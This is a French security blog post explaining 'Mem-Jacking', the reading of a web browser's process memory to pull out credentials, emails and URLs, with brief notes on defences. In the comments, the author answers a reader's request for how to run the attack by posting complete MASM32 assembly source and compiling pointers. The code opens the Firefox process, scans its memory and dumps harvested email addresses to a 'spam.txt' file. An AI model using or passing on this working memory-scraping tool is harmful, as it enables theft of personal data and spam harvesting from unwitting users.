Nouvelle attaque Contre Les navigateurs Web :Le Mem-Jacking

Le Mem-Jacking est une nouvelle technique de compromission à destination de l’espace d’adressage mémoire des navigateurs Web et cela afin de subtiliser des informations sensibles. Par ce biais, il est également possible de forcer la redirection des utilisateurs vers des sites malicieux.

mem-jacking

La sécurité liée aux navigateurs Web est à l’heure actuelle un point primordial, de récents exemples d’attaques plus évoluées, comme le « In-session Phishing »  , sont là pour le rappeler régulièrement aux utilisateurs et aux développeurs. Après le Session-Hijacking , le Click-Jacking et le Cookie-Hijacking, c’est au tour du Mem-Jacking de voir le jour et de renforcer l’impression latente d’insécurité.

Transfuge des techniques de cassage de protections qui sont utilisées pour le piratage des jeux vidéo, le Mem-Jacking consiste à s’infiltrer malicieusement au sein même de l’espace d’adressage mémoire d’un navigateur pour y subtiliser des informations sensibles. On ne parle pas ici du cache du navigateur dont les fonctionnalités de stockage mémoire temporaire ont déjà fait l’objet de techniques d’exploitation auparavant.

Concrètement, le contexte d’exploitation de cette attaque par Mem-Jacking est le suivant : un utilisateur lance un navigateur lambda depuis un système d’exploitation de type Microsoft Windows. Ne présentant aucune vulnérabilité connue à ce jour, le système d’exploitation en présence et la dernière version en date du navigateur utilisé permettent à l’utilisateur de profiter d’un environnement de navigation qui est supposé être sain et sécurisé. L’exploitation à venir ne pourra donc pas être imputée à des failles tierces qui leur seraient directement relatives.

Cet utilisateur choisit délibérément d’enregistrer des informations d’authentification pour des services en ligne. Le navigateur chiffrant ces informations avec un algorithme fort avant stockage, l’utilisateur confiant n’aura alors plus besoin de les introduire ultérieurement. Elles peuvent par exemple être des identifiants et des mots de passe pour des services de messagerie ou de réseaux sociaux. L’utilisateur a par ailleurs décidé d’installer préalablement la barre d’outils Google qui lui permettra, après une authentification initiale, d’accéder aisément aux services proposés.

Les données, enregistrées par l’utilisateur, sont bien chiffrées initialement par le navigateur avant d’être stockée en mémoire. Cependant, à un moment donné du processus de réutilisation, il reste nécessaire que ces données soient temporairement stockées en clair quelque part pour être ensuite envoyées vers le formulaire d’authentification du service en question. C’est à cet endroit précisément que va se trouver le point d’interception sur lequel repose les attaques par Mem-Jacking, une technique proposée par Aodrulez .

De plus, lorsqu’un navigateur ouvre une page Web, toutes les données relatives à cette page (code HTML, CSS, images) sont stockées dans la mémoire, mais également l’ensemble des informations liées aux communications réseaux établies entre le navigateur et le serveur Web en charge de cette page. Il est alors envisageable pour l’attaquant de développer un code spécifique qui lui va permettre de scanner cet espace d’adressage mémoire avec pour l’objectif d’y effectuer des recherche de motifs sur les informations souhaitées en collecte.

Lors des tests de recherche et pour la seule navigation sur le service Orkut depuis la barre d’outils Google, il a ainsi été possible d’obtenir, après analyse statique, une liste de mille cinq cents occurrences d’une chaîne de caractères équivalente à l’extension « .com », dont de nombreux mails pouvant alimenter une base pour le SPAM . Une analyse en temps réel reste par ailleurs envisageable afin d’augmenter les probabilités de collecte d’informations sensibles, les doublons pouvant être traités automatiquement alors que la verbosité pourra quant à elle être réduite par un choix judicieux des motifs de recherche.

Une preuve de concept POC, portant sur ces recherches statiques de motifs, est dès à présent disponible dans le papier de recherche mis à disposition  de tous ; elle a été testée avec succès à l’encontre de la version 3.0.4 du navigateur Mozilla Firefox. Outre la récupération de données sensibles, la technique du Mem-Jacking pourrait également permettre à un attaquant d’effectuer une réécriture à la volée des adresses URL relatives aux pages Web que l’utilisateur ciblé souhaiterait visiter.

Dans ce cadre, l’utilisateur entre l’URL de la page qu’il désire visualiser et il valide ensuite sa requête, le navigateur récupère la valeur de l’URL dans un endroit précis de son espace d’adressage mémoire puis il va se connecter au serveur Web qui prend en charge la page associée à cette URL. Si l’attaquant parvient à surveiller précisément cet endroit et qu’il réussit à interférer nuisiblement avec la valeur de l’URL qui y est stockée, il lui sera alors possible de rediriger le navigateur de l’utilisateur vers une page Web du site de son choix.

Comment peut-on alors se prémunir contre le Mem-Jacking ? Comme on vient de le constater, ses formes les plus avancées nécessitent la surveillance de certaines zones de l’espace d’adressage mémoire du navigateur voir la modification, une randomisation des adresses mémoire liées à ce stockage pourrait déjà être mise en œuvre par les développeurs afin de complexifier le travail de l’attaquant. Par ailleurs, si le Mem-Jacking se concentre ici plus particulièrement sur les navigateurs Web, il reste néanmoins transposable à d’autres applications.

Tagged : , , , ,

3 commentaires pour “Nouvelle attaque Contre Les navigateurs Web :Le Mem-Jacking”

  1. Trés bon article
    Cependant, comment on peut dérouler cette attaque? (Méthode, outils,…)

  2. Merci pour votre commentaire .
    LE POC Suivant a été publiée tu peux le compilé avec MASM32 http://www.masm32.com/masmdl.htm
    voici le tutoriel http://pagesperso-orange.fr/luce.yves/compiler.htm

    ————————————————-BEGIN—
    .386
    .model flat,stdcall
    option casemap:none
    ;All the include files i’ll ever need
    include windows.inc
    include kernel32.inc
    include user32.inc
    include advapi32.inc
    include wsock32.inc
    include msvcrt.inc
    include crtlib.inc
    includelib crtlib.lib
    includelib msvcrt.lib
    include macros_sadd.inc
    includelib kernel32.lib
    includelib user32.lib
    includelib advapi32.lib
    includelib wsock32.lib
    includelib masm32.lib
    wow proto :dword
    .data
    crlf db 0ah,0dh
    ;list of valid chars in the links
    valid db ‘0123456789
    _.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@’,0
    mail db ‘.com’,0
    shitbuff db ‘a’,0
    .data?
    capt db 50 dup(?)
    buff db 1000 dup(?)
    hwnd dword ?
    pid dword ?
    phand dword ?
    memrange dword ?
    count dword ?
    occur db 40 dup(?)
    idtemp db 60 dup(?)
    fhand dword ?
    .code
    start:
    ;Find the FireFox window’s Handle
    invoke FindWindow,SADD(« MozillaUIWindowClass »),NULL
    mov [hwnd],eax
    cmp eax,-1
    je over
    ;Create a file to dump our findings
    invoke CreateFile,SADD(« c:
    \spam.txt »),GENERIC_WRITE,NULL,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL
    mov [fhand],eax
    invoke GetWindowText,eax,addr capt,50
    invoke MessageBox,0,SADD(« Mem Scanning started… »),SADD(« Aodrulez »),MB_OK
    invoke GetWindowThreadProcessId,hwnd,addr pid
    invoke OpenProcess,PROCESS_ALL_ACCESS,hwnd,pid
    mov [phand],eax
    ;Start from the address 1000h in Memory alloted to FireFox
    mov [memrange],1000h
    mov [count],0
    mega_loop:
    readdata:
    invoke ReadProcessMemory,phand,memrange,addr buff,1000,addr pid
    invoke BinSearch,0,addr buff,sizeof buff,addr mail,sizeof mail
    cmp eax,-1
    je fuck
    inc count
    lea edx,buff
    add edx,eax
    dec edx
    invoke wow,edx
    fuck:
    add memrange,1000
    ;Continue till address 70000000h in Memory alloted to FireFox
    cmp memrange,70000000h
    jl mega_loop
    cmp count,0
    jna over
    disp:
    invoke wsprintf,addr occur,SADD(« I found %u Links on the page! »),count
    invoke MessageBox,0,addr occur,SADD(« Aod »),MB_OK
    over:
    invoke CloseHandle,fhand
    invoke CloseHandle,phand
    invoke ExitProcess,0
    ;Procedure to quickly get the links in the correct format from the
    ;hits obtained.Theres Scope for lots of improvement!
    wow proc stradd:dword
    mov esi,stradd
    mov ecx,sizeof valid
    looper1:
    mov bl,byte ptr [esi]
    lea eax,shitbuff
    mov byte ptr [eax],bl
    invoke BinSearch,0,addr valid,sizeof valid,addr shitbuff,sizeof shitbuff
    cmp eax,-1
    je crap
    dec esi
    loop looper1
    crap:
    inc esi
    lea edi,idtemp
    mov ecx,stradd
    sub ecx,esi
    inc ecx
    mov pid,ecx
    looper3:
    cld
    rep movsb
    mov byte ptr [stradd+1],0
    invoke WriteFile,fhand,addr idtemp,pid,addr pid,NULL
    invoke WriteFile,fhand,addr mail,4,addr pid,NULL
    invoke WriteFile,fhand,addr crlf,2,addr pid,NULL
    ret
    wow endp
    end start
    ——————————————–END—

  3. Interessante Informationen.

Laisser un Commentaire